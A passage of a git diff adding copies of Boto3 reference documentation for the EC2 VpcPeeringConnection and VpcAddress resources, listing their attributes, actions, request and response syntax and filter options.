specify tag:Owner for the filter name and TeamA for the filter value. + * tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + * vpc-id - The ID of the VPC. + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **NextToken** (_string_) -- The token for the next page of results. +* **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. + +Returns + +None + +[VpcPeeringConnection](#id1257) +-------------------------------------------------------------------------------------- + +_class_ EC2.VpcPeeringConnection(_id_) + +A resource representing an Amazon Elastic Compute Cloud (EC2) VpcPeeringConnection: + +import boto3 + +ec2 = boto3.resource('ec2') +vpc_peering_connection = ec2.VpcPeeringConnection('id') + +Parameters + +**id** (_string_) -- The VpcPeeringConnection's id identifier. This **must** be set. + +These are the resource's available identifiers: + +* [id](#EC2.VpcPeeringConnection.id "EC2.VpcPeeringConnection.id") + +These are the resource's available attributes: + +* [accepter_vpc_info](#EC2.VpcPeeringConnection.accepter_vpc_info "EC2.VpcPeeringConnection.accepter_vpc_info") +* [expiration_time](#EC2.VpcPeeringConnection.expiration_time "EC2.VpcPeeringConnection.expiration_time") +* [requester_vpc_info](#EC2.VpcPeeringConnection.requester_vpc_info "EC2.VpcPeeringConnection.requester_vpc_info") +* [status](#EC2.VpcPeeringConnection.status "EC2.VpcPeeringConnection.status") +* [tags](#EC2.VpcPeeringConnection.tags "EC2.VpcPeeringConnection.tags") +* [vpc_peering_connection_id](#EC2.VpcPeeringConnection.vpc_peering_connection_id "EC2.VpcPeeringConnection.vpc_peering_connection_id") + +These are the resource's available references: + +* [accepter_vpc](#EC2.VpcPeeringConnection.accepter_vpc "EC2.VpcPeeringConnection.accepter_vpc") +* [requester_vpc](#EC2.VpcPeeringConnection.requester_vpc "EC2.VpcPeeringConnection.requester_vpc") + +These are the resource's available actions: + +* [accept()](#EC2.VpcPeeringConnection.accept "EC2.VpcPeeringConnection.accept") +* [delete()](#EC2.VpcPeeringConnection.delete "EC2.VpcPeeringConnection.delete") +* [get_available_subresources()](#EC2.VpcPeeringConnection.get_available_subresources "EC2.VpcPeeringConnection.get_available_subresources") +* [load()](#EC2.VpcPeeringConnection.load "EC2.VpcPeeringConnection.load") +* [reject()](#EC2.VpcPeeringConnection.reject "EC2.VpcPeeringConnection.reject") +* [reload()](#EC2.VpcPeeringConnection.reload "EC2.VpcPeeringConnection.reload") + +These are the resource's available waiters: + +* [wait_until_exists()](#EC2.VpcPeeringConnection.wait_until_exists "EC2.VpcPeeringConnection.wait_until_exists") + +Identifiers + +Identifiers are properties of a resource that are set upon instantiation of the resource. For more information about identifiers refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +id + +_(string)_ The VpcPeeringConnection's id identifier. This **must** be set. + +Attributes + +Attributes provide access to the properties of a resource. Attributes are lazy-loaded the first time one is accessed via the [load()](#EC2.VpcPeeringConnection.load "EC2.VpcPeeringConnection.load") method. For more information about attributes refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +accepter_vpc_info + +* _(dict) --_ + + Information about the accepter VPC. CIDR block information is only returned when describing an active VPC peering connection. + + * **CidrBlock** _(string) --_ + + The IPv4 CIDR block for the VPC. + + * **Ipv6CidrBlockSet** _(list) --_ + + The IPv6 CIDR block for the VPC. + + * _(dict) --_ + + Describes an IPv6 CIDR block. + + * **Ipv6CidrBlock** _(string) --_ + + The IPv6 CIDR block. + + * **CidrBlockSet** _(list) --_ + + Information about the IPv4 CIDR blocks for the VPC. + + * _(dict) --_ + + Describes an IPv4 CIDR block. + + * **CidrBlock** _(string) --_ + + The IPv4 CIDR block. + + * **OwnerId** _(string) --_ + + The AWS account ID of the VPC owner. + + * **PeeringOptions** _(dict) --_ + + Information about the VPC peering connection options for the accepter or requester VPC. + + * **AllowDnsResolutionFromRemoteVpc** _(boolean) --_ + + Indicates whether a local VPC can resolve public DNS hostnames to private IP addresses when queried from instances in a peer VPC. + + * **AllowEgressFromLocalClassicLinkToRemoteVpc** _(boolean) --_ + + Indicates whether a local ClassicLink connection can communicate with the peer VPC over the VPC peering connection. + + * **AllowEgressFromLocalVpcToRemoteClassicLink** _(boolean) --_ + + Indicates whether a local VPC can communicate with a ClassicLink connection in the peer VPC over the VPC peering connection. + + * **VpcId** _(string) --_ + + The ID of the VPC. + + * **Region** _(string) --_ + + The Region in which the VPC is located. + + +expiration_time + +* _(datetime) --_ + + The time that an unaccepted VPC peering connection will expire. + + +requester_vpc_info + +* _(dict) --_ + + Information about the requester VPC. CIDR block information is only returned when describing an active VPC peering connection. + + * **CidrBlock** _(string) --_ + + The IPv4 CIDR block for the VPC. + + * **Ipv6CidrBlockSet** _(list) --_ + + The IPv6 CIDR block for the VPC. + + * _(dict) --_ + + Describes an IPv6 CIDR block. + + * **Ipv6CidrBlock** _(string) --_ + + The IPv6 CIDR block. + + * **CidrBlockSet** _(list) --_ + + Information about the IPv4 CIDR blocks for the VPC. + + * _(dict) --_ + + Describes an IPv4 CIDR block. + + * **CidrBlock** _(string) --_ + + The IPv4 CIDR block. + + * **OwnerId** _(string) --_ + + The AWS account ID of the VPC owner. + + * **PeeringOptions** _(dict) --_ + + Information about the VPC peering connection options for the accepter or requester VPC. + + * **AllowDnsResolutionFromRemoteVpc** _(boolean) --_ + + Indicates whether a local VPC can resolve public DNS hostnames to private IP addresses when queried from instances in a peer VPC. + + * **AllowEgressFromLocalClassicLinkToRemoteVpc** _(boolean) --_ + + Indicates whether a local ClassicLink connection can communicate with the peer VPC over the VPC peering connection. + + * **AllowEgressFromLocalVpcToRemoteClassicLink** _(boolean) --_ + + Indicates whether a local VPC can communicate with a ClassicLink connection in the peer VPC over the VPC peering connection. + + * **VpcId** _(string) --_ + + The ID of the VPC. + + * **Region** _(string) --_ + + The Region in which the VPC is located. + + +status + +* _(dict) --_ + + The status of the VPC peering connection. + + * **Code** _(string) --_ + + The status of the VPC peering connection. + + * **Message** _(string) --_ + + A message that provides more information about the status, if applicable. + + +tags + +* _(list) --_ + + Any tags assigned to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +vpc_peering_connection_id + +* _(string) --_ + + The ID of the VPC peering connection. + + +References + +References are related resource instances that have a belongs-to relationship. For more information about references refer to the [_Resources Introduction Guide_](../../guide/resources.html#references-intro). + +accepter_vpc + +(Vpc) The related accepter_vpc if set, otherwise None. + +requester_vpc + +(Vpc) The related requester_vpc if set, otherwise None. + +Actions + +Actions call operations on resources. They may automatically handle the passing in of arguments set from identifiers and some attributes. For more information about actions refer to the [_Resources Introduction Guide_](../../guide/resources.html#actions-intro). + +accept(kwargs_) + +Accept a VPC peering connection request. To accept a request, the VPC peering connection must be in the pending-acceptance state, and you must be the owner of the peer VPC. Use DescribeVpcPeeringConnections to view your outstanding VPC peering connection requests. + +For an inter-Region VPC peering connection request, you must accept the VPC peering connection in the Region of the accepter VPC. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/AcceptVpcPeeringConnection) + +**Request Syntax** + +response = vpc_peering_connection.accept( + DryRun=True|False, + +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'VpcPeeringConnection': { + 'AccepterVpcInfo': { + 'CidrBlock': 'string', + 'Ipv6CidrBlockSet': [ + { + 'Ipv6CidrBlock': 'string' + }, + ], + 'CidrBlockSet': [ + { + 'CidrBlock': 'string' + }, + ], + 'OwnerId': 'string', + 'PeeringOptions': { + 'AllowDnsResolutionFromRemoteVpc': True|False, + 'AllowEgressFromLocalClassicLinkToRemoteVpc': True|False, + 'AllowEgressFromLocalVpcToRemoteClassicLink': True|False + }, + 'VpcId': 'string', + 'Region': 'string' + }, + 'ExpirationTime': datetime(2015, 1, 1), + 'RequesterVpcInfo': { + 'CidrBlock': 'string', + 'Ipv6CidrBlockSet': [ + { + 'Ipv6CidrBlock': 'string' + }, + ], + 'CidrBlockSet': [ + { + 'CidrBlock': 'string' + }, + ], + 'OwnerId': 'string', + 'PeeringOptions': { + 'AllowDnsResolutionFromRemoteVpc': True|False, + 'AllowEgressFromLocalClassicLinkToRemoteVpc': True|False, + 'AllowEgressFromLocalVpcToRemoteClassicLink': True|False + }, + 'VpcId': 'string', + 'Region': 'string' + }, + 'Status': { + 'Code': 'initiating-request'|'pending-acceptance'|'active'|'deleted'|'rejected'|'failed'|'expired'|'provisioning'|'deleting', + 'Message': 'string' + }, + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ], + 'VpcPeeringConnectionId': 'string' + } +} + +**Response Structure** + +* _(dict) --_ + * **VpcPeeringConnection** _(dict) --_ + + Information about the VPC peering connection. + + * **AccepterVpcInfo** _(dict) --_ + + Information about the accepter VPC. CIDR block information is only returned when describing an active VPC peering connection. + + * **CidrBlock** _(string) --_ + + The IPv4 CIDR block for the VPC. + + * **Ipv6CidrBlockSet** _(list) --_ + + The IPv6 CIDR block for the VPC. + + * _(dict) --_ + + Describes an IPv6 CIDR block. + + * **Ipv6CidrBlock** _(string) --_ + + The IPv6 CIDR block. + + * **CidrBlockSet** _(list) --_ + + Information about the IPv4 CIDR blocks for the VPC. + + * _(dict) --_ + + Describes an IPv4 CIDR block. + + * **CidrBlock** _(string) --_ + + The IPv4 CIDR block. + + * **OwnerId** _(string) --_ + + The AWS account ID of the VPC owner. + + * **PeeringOptions** _(dict) --_ + + Information about the VPC peering connection options for the accepter or requester VPC. + + * **AllowDnsResolutionFromRemoteVpc** _(boolean) --_ + + Indicates whether a local VPC can resolve public DNS hostnames to private IP addresses when queried from instances in a peer VPC. + + * **AllowEgressFromLocalClassicLinkToRemoteVpc** _(boolean) --_ + + Indicates whether a local ClassicLink connection can communicate with the peer VPC over the VPC peering connection. + + * **AllowEgressFromLocalVpcToRemoteClassicLink** _(boolean) --_ + + Indicates whether a local VPC can communicate with a ClassicLink connection in the peer VPC over the VPC peering connection. + + * **VpcId** _(string) --_ + + The ID of the VPC. + + * **Region** _(string) --_ + + The Region in which the VPC is located. + + * **ExpirationTime** _(datetime) --_ + + The time that an unaccepted VPC peering connection will expire. + + * **RequesterVpcInfo** _(dict) --_ + + Information about the requester VPC. CIDR block information is only returned when describing an active VPC peering connection. + + * **CidrBlock** _(string) --_ + + The IPv4 CIDR block for the VPC. + + * **Ipv6CidrBlockSet** _(list) --_ + + The IPv6 CIDR block for the VPC. + + * _(dict) --_ + + Describes an IPv6 CIDR block. + + * **Ipv6CidrBlock** _(string) --_ + + The IPv6 CIDR block. + + * **CidrBlockSet** _(list) --_ + + Information about the IPv4 CIDR blocks for the VPC. + + * _(dict) --_ + + Describes an IPv4 CIDR block. + + * **CidrBlock** _(string) --_ + + The IPv4 CIDR block. + + * **OwnerId** _(string) --_ + + The AWS account ID of the VPC owner. + + * **PeeringOptions** _(dict) --_ + + Information about the VPC peering connection options for the accepter or requester VPC. + + * **AllowDnsResolutionFromRemoteVpc** _(boolean) --_ + + Indicates whether a local VPC can resolve public DNS hostnames to private IP addresses when queried from instances in a peer VPC. + + * **AllowEgressFromLocalClassicLinkToRemoteVpc** _(boolean) --_ + + Indicates whether a local ClassicLink connection can communicate with the peer VPC over the VPC peering connection. + + * **AllowEgressFromLocalVpcToRemoteClassicLink** _(boolean) --_ + + Indicates whether a local VPC can communicate with a ClassicLink connection in the peer VPC over the VPC peering connection. + + * **VpcId** _(string) --_ + + The ID of the VPC. + + * **Region** _(string) --_ + + The Region in which the VPC is located. + + * **Status** _(dict) --_ + + The status of the VPC peering connection. + + * **Code** _(string) --_ + + The status of the VPC peering connection. + + * **Message** _(string) --_ + + A message that provides more information about the status, if applicable. + + * **Tags** _(list) --_ + + Any tags assigned to the resource. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + * **VpcPeeringConnectionId** _(string) --_ + + The ID of the VPC peering connection. + + +delete(kwargs_) + +Deletes a VPC peering connection. Either the owner of the requester VPC or the owner of the accepter VPC can delete the VPC peering connection if it's in the active state. The owner of the requester VPC can delete a VPC peering connection in the pending-acceptance state. You cannot delete a VPC peering connection that's in the failed state. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteVpcPeeringConnection) + +**Request Syntax** + +response = vpc_peering_connection.delete( + DryRun=True|False, + +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Return': True|False +} + +**Response Structure** + +* _(dict) --_ + * **Return** _(boolean) --_ + + Returns true if the request succeeds; otherwise, it returns an error. + + +get_available_subresources() + +Returns a list of all the available sub-resources for this Resource. + +Returns + +A list containing the name of each sub-resource for this resource + +Return type + +list of str + +load() + +Calls [EC2.Client.describe_vpc_peering_connections()](#EC2.Client.describe_vpc_peering_connections "EC2.Client.describe_vpc_peering_connections") to update the attributes of the VpcPeeringConnection resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +vpc_peering_connection.load() + +Returns + +None + +reject(kwargs_) + +Rejects a VPC peering connection request. The VPC peering connection must be in the pending-acceptance state. Use the DescribeVpcPeeringConnections request to view your outstanding VPC peering connection requests. To delete an active VPC peering connection, or to delete a VPC peering connection request that you initiated, use DeleteVpcPeeringConnection . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/RejectVpcPeeringConnection) + +**Request Syntax** + +response = vpc_peering_connection.reject( + DryRun=True|False, + +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Return': True|False +} + +**Response Structure** + +* _(dict) --_ + * **Return** _(boolean) --_ + + Returns true if the request succeeds; otherwise, it returns an error. + + +reload() + +Calls [EC2.Client.describe_vpc_peering_connections()](#EC2.Client.describe_vpc_peering_connections "EC2.Client.describe_vpc_peering_connections") to update the attributes of the VpcPeeringConnection resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +vpc_peering_connection.reload() + +Returns + +None + +Waiters + +Waiters provide an interface to wait for a resource to reach a specific state. For more information about waiters refer to the [_Resources Introduction Guide_](../../guide/resources.html#waiters-intro). + +wait_until_exists(kwargs_) + +Waits until this VpcPeeringConnection is exists. This method calls EC2.Waiter.vpc_peering_connection_exists.wait() which polls. [EC2.Client.describe_vpc_peering_connections()](#EC2.Client.describe_vpc_peering_connections "EC2.Client.describe_vpc_peering_connections") every 15 seconds until a successful state is reached. An error is returned after 40 failed checks. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVpcPeeringConnections) + +**Request Syntax** + +vpc_peering_connection.wait_until_exists( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + DryRun=True|False, + NextToken='string', + MaxResults=123 +) + +Parameters + +* **Filters** (_list_) -- + + One or more filters. + + * accepter-vpc-info.cidr-block - The IPv4 CIDR block of the accepter VPC. + * accepter-vpc-info.owner-id - The AWS account ID of the owner of the accepter VPC. + * accepter-vpc-info.vpc-id - The ID of the accepter VPC. + * expiration-time - The expiration date and time for the VPC peering connection. + * requester-vpc-info.cidr-block - The IPv4 CIDR block of the requester's VPC. + * requester-vpc-info.owner-id - The AWS account ID of the owner of the requester VPC. + * requester-vpc-info.vpc-id - The ID of the requester VPC. + * status-code - The status of the VPC peering connection (pending-acceptance | failed | expired | provisioning | active | deleting | deleted | rejected ). + * status-message - A message that provides more information about the status of the VPC peering connection, if applicable. + * tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + * tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + * vpc-peering-connection-id - The ID of the VPC peering connection. + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **NextToken** (_string_) -- The token for the next page of results. +* **MaxResults** (_integer_) -- The maximum number of results to return with a single call. To retrieve the remaining results, make another call with the returned nextToken value. + +Returns + +None + +[VpcAddress](#id1258) +------------------------------------------------------------------ + +_class_ EC2.VpcAddress(_allocation_id_) + +A resource representing an Amazon Elastic Compute Cloud (EC2) VpcAddress: + +import boto3 + +ec2 = boto3.resource('ec2') +vpc_address = ec2.VpcAddress('allocation_id') + +Parameters + +**allocation_id** (_string_) -- The VpcAddress's allocation_id identifier. This **must** be set. + +These are the resource's available identifiers: + +* [allocation_id](#EC2.VpcAddress.allocation_id "EC2.VpcAddress.allocation_id") + +These are the resource's available attributes: + +* [association_id](#EC2.VpcAddress.association_id "EC2.VpcAddress.association_id") +* [carrier_ip](#EC2.VpcAddress.carrier_ip "EC2.VpcAddress.carrier_ip") +* [customer_owned_ip](#EC2.VpcAddress.customer_owned_ip "EC2.VpcAddress.customer_owned_ip") +* [customer_owned_ipv4_pool](#EC2.VpcAddress.customer_owned_ipv4_pool "EC2.VpcAddress.customer_owned_ipv4_pool") +* [domain](#EC2.VpcAddress.domain "EC2.VpcAddress.domain") +* [instance_id](#EC2.VpcAddress.instance_id "EC2.VpcAddress.instance_id") +* [network_border_group](#EC2.VpcAddress.network_border_group "EC2.VpcAddress.network_border_group") +* [network_interface_id](#EC2.VpcAddress.network_interface_id "EC2.VpcAddress.network_interface_id") +* [network_interface_owner_id](#EC2.VpcAddress.network_interface_owner_id "EC2.VpcAddress.network_interface_owner_id") +* [private_ip_address](#EC2.VpcAddress.private_ip_address "EC2.VpcAddress.private_ip_address") +* [public_ip](#EC2.VpcAddress.public_ip "EC2.VpcAddress.public_ip") +* [public_ipv4_pool](#EC2.VpcAddress.public_ipv4_pool "EC2.VpcAddress.public_ipv4_pool") +* [tags](#EC2.VpcAddress.tags "EC2.VpcAddress.tags") + +These are the resource's available references: + +* [association](#EC2.VpcAddress.association "EC2.VpcAddress.association") + +These are the resource's available actions: + +* [associate()](#EC2.VpcAddress.associate "EC2.VpcAddress.associate") +* [get_available_subresources()](#EC2.VpcAddress.get_available_subresources "EC2.VpcAddress.get_available_subresources") +* [load()](#EC2.VpcAddress.load "EC2.VpcAddress.load") +* [release()](#EC2.VpcAddress.release "EC2.VpcAddress.release") +* [reload()](#EC2.VpcAddress.reload "EC2.VpcAddress.reload") + +Identifiers + +Identifiers are properties of a resource that are set upon instantiation of the resource. For more information about identifiers refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +allocation_id + +_(string)_ The VpcAddress's allocation_id identifier. This **must** be set. + +Attributes + +Attributes provide access to the properties of a resource. Attributes are lazy-loaded the first time one is accessed via the [load()](#EC2.VpcAddress.load "EC2.VpcAddress.load") method. For more information about attributes refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +association_id + +* _(string) --_ + + The ID representing the association of the address with an instance in a VPC. + + +carrier_ip + +* _(string) --_ + + The carrier IP address associated. This option is only available for network interfaces which reside in a subnet in a Wavelength Zone (for example an EC2 instance). + + +customer_owned_ip + +* _(string) --_ + + The customer-owned IP address. + + +customer_owned_ipv4_pool + +* _(string) --_ + + The ID of the customer-owned address pool. + + +domain + +* _(string) --_ + + Indicates whether this Elastic IP address is for use with instances in EC2-Classic (standard ) or instances in a VPC (vpc ). + + +instance_id + +* _(string) --_ + + The ID of the instance that the address is associated with (if any). + + +network_border_group + +* _(string) --_ + + The name of the unique set of Availability Zones, Local Zones, or Wavelength Zones from which AWS advertises IP addresses. + + +network_interface_id + +* _(string) --_ + + The ID of the network interface. + + +network_interface_owner_id + +* _(string) --_ + + The ID of the AWS account that owns the network interface. + + +private_ip_address + +* _(string) --_ + + The private IP address associated with the Elastic IP address. + + +public_ip + +* _(string) --_ + + The Elastic IP address. + + +public_ipv4_pool + +* _(string) --_ + + The ID of an address pool. + + +tags + +* _(list) --_ + + Any tags assigned to the Elastic IP address. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +References + +References are related resource instances that have a belongs-to relationship. For more information about references refer to the [_Resources Introduction Guide_](../../guide/resources.html#references-intro). + +association + +(NetworkInterfaceAssociation) The related association if set, otherwise None. + +Actions + +Actions call operations on resources. They may automatically handle the passing in of arguments set from identifiers and some attributes. For more information about actions refer to the [_Resources Introduction Guide_](../../guide/resources.html#actions-intro). + +associate(kwargs_) + +Associates an Elastic IP address, or carrier IP address (for instances that are in subnets in Wavelength Zones) with an instance or a network interface. Before you can use an Elastic IP address, you must allocate it to your account. + +An Elastic IP address is for use in either the EC2-Classic platform or in a VPC. For more information, see [Elastic IP Addresses](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/elastic-ip-addresses-eip.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +[EC2-Classic, VPC in an EC2-VPC-only account] If the Elastic IP address is already associated with a different instance, it is disassociated from that instance and associated with the specified instance. If you associate an Elastic IP address with an instance that has an existing Elastic IP address, the existing address is disassociated from the instance, but remains allocated to your account. + +[VPC in an EC2-Classic account] If you don't specify a private IP address, the Elastic IP address is associated with the primary IP address. If the Elastic IP address is already associated with a different instance or a network interface, you get an error unless you allow reassociation. You cannot associate an Elastic IP address with an instance or network interface that has an existing Elastic IP address. + +[Subnets in Wavelength Zones] You can associate an IP address from the telecommunication carrier to the instance or network interface. + +You cannot associate an Elastic IP address with an interface in a different network border group. + +Warning + +This is an idempotent operation. If you perform the operation more than once, Amazon EC2 doesn't return an error, and you may be charged for each time the Elastic IP address is remapped to the same instance. For more information, see the _Elastic IP Addresses_ section of [Amazon EC2 Pricing](https://aws.amazon.com/ec2/pricing/) . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/AssociateAddress) + +**Request Syntax** + +response = vpc_address.associate( + InstanceId='string', + PublicIp='string', + AllowReassociation=True|False, + DryRun=True|False, + NetworkInterfaceId='string', + PrivateIpAddress='string' +) + +Parameters + +* **InstanceId** (_string_) -- The ID of the instance. This is required for EC2-Classic. For EC2-VPC, you can specify either the instance ID or the network interface ID, but not both. The operation fails if you specify an instance ID unless exactly one network interface is attached. +* **PublicIp** (_string_) -- The Elastic IP address to associate with the instance. This is required for EC2-Classic. +* **AllowReassociation** (_boolean_) -- [EC2-VPC] For a VPC in an EC2-Classic account, specify true to allow an Elastic IP address that is already associated with an instance or network interface to be reassociated with the specified instance or network interface. Otherwise, the operation fails. In a VPC in an EC2-VPC-only account, reassociation is automatic, therefore you can specify false to ensure the operation fails if the Elastic IP address is already associated with another resource. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **NetworkInterfaceId** (_string_) -- + + [EC2-VPC] The ID of the network interface. If the instance has more than one network interface, you must specify a network interface ID. + + For EC2-VPC, you can specify either the instance ID or the network interface ID, but not both. + +* **PrivateIpAddress** (_string_) -- [EC2-VPC] The primary or secondary private IP address to associate with the Elastic IP address. If no private IP address is specified, the Elastic IP address is associated with the primary private IP address. + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'AssociationId': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **AssociationId** _(string) --_ + + [EC2-VPC] The ID that represents the association of the Elastic IP address with an instance. + + +get_available_subresources() + +Returns a list of all the available sub-resources for this Resource. + +Returns + +A list containing the name of each sub-resource for this resource + +Return type + +list of str + +load() + +Calls [EC2.Client.describe_addresses()](#EC2.Client.describe_addresses "EC2.Client.describe_addresses") to update the attributes of the VpcAddress resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +vpc_address.load() + +Returns + +None + +release(kwargs_) + +Releases the specified Elastic IP address. + +[EC2-Classic, default VPC] Releasing an Elastic IP address automatically disassociates it from any instance that it's associated with. To disassociate an Elastic IP address without releasing it, use DisassociateAddress . + +[Nondefault VPC] You must use DisassociateAddress to disassociate the Elastic IP address before you can release it. Otherwise, Amazon EC2 returns an error (InvalidIPAddress.InUse ). + +After releasing an Elastic IP address, it is released to the IP address pool. Be sure to update your DNS records and any servers or devices that communicate with the address. If you attempt to release an Elastic IP address that you already released, you'll get an AuthFailure error if the address is already allocated to another AWS account. + +[EC2-VPC] After you release an Elastic IP address for use in a VPC, you might be able to recover it. For more information, see AllocateAddress . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ReleaseAddress) + +**Request Syntax** + +response = vpc_address.release( + PublicIp='string', + NetworkBorderGroup='string', + DryRun=True|False +) + +Parameters + +* **PublicIp** (_string_) -- [EC2-Classic] The Elastic IP address. Required for EC2-Classic. +* **NetworkBorderGroup** (_string_) -- + + The set of Availability Zones, Local Zones, or Wavelength Zones from which AWS advertises IP addresses. + + If you provide an incorrect network border group, you will receive an InvalidAddress.NotFound error. For more information, see [Error Codes](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/errors-overview.html) . + + Note + + You cannot use a network border group with EC2 Classic. If you attempt this operation on EC2 classic, you will receive an InvalidParameterCombination error. For more information, see [Error Codes](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/errors-overview.html) . + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +reload() + +Calls [EC2.Client.describe_addresses()](#EC2.Client.describe_addresses "EC2.Client.describe_addresses") to update the attributes of the VpcAddress resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +vpc_address.reload() + +Returns + +None + +[EBS](ebs.html "previous chapter (use the left arrow)") + +[EC2InstanceConnect](ec2-instance-connect.html "next chapter (use the right arrow)") + +### Navigation + +* [index](../../genindex.html "General Index") +* [modules](../../py-modindex.html "Python Module Index") | +* [next](ec2-instance-connect.html "EC2InstanceConnect") | +* [previous](ebs.html "EBS") | +* [Boto3 Docs 1.16.47 documentation](../../index.html) » +* [Available services](index.html) » + +const shortbread = AWSCShortbread({ domain: ".amazonaws.com", }); shortbread.checkForCookieConsent(); [Privacy](https://aws.amazon.com/privacy) | [Site Terms](https://aws.amazon.com/terms) | [Cookie preferences](#) | © Copyright 2020, Amazon Web Services, Inc. Created using [Sphinx](https://sphinx.pocoo.org/). diff --git a/_posts/01Cloud/01AWS/0boto3code/ec2-client-rest.md b/_posts/01Cloud/01AWS/0boto3code/ec2-client-rest.md new file mode 100644 index 00000000000..35f4c953743 --- /dev/null +++ b/_posts/01Cloud/01AWS/0boto3code/ec2-client-rest.md @@ -0,0 +1,76632 @@ + + +assign_ipv6_addresses(kwargs_) + +Assigns one or more IPv6 addresses to the specified network interface. You can specify one or more specific IPv6 addresses, or you can specify the number of IPv6 addresses to be automatically assigned from within the subnet's IPv6 CIDR block range. You can assign as many IPv6 addresses to a network interface as you can assign private IPv4 addresses, and the limit varies per instance type. For information, see [IP Addresses Per Network Interface Per Instance 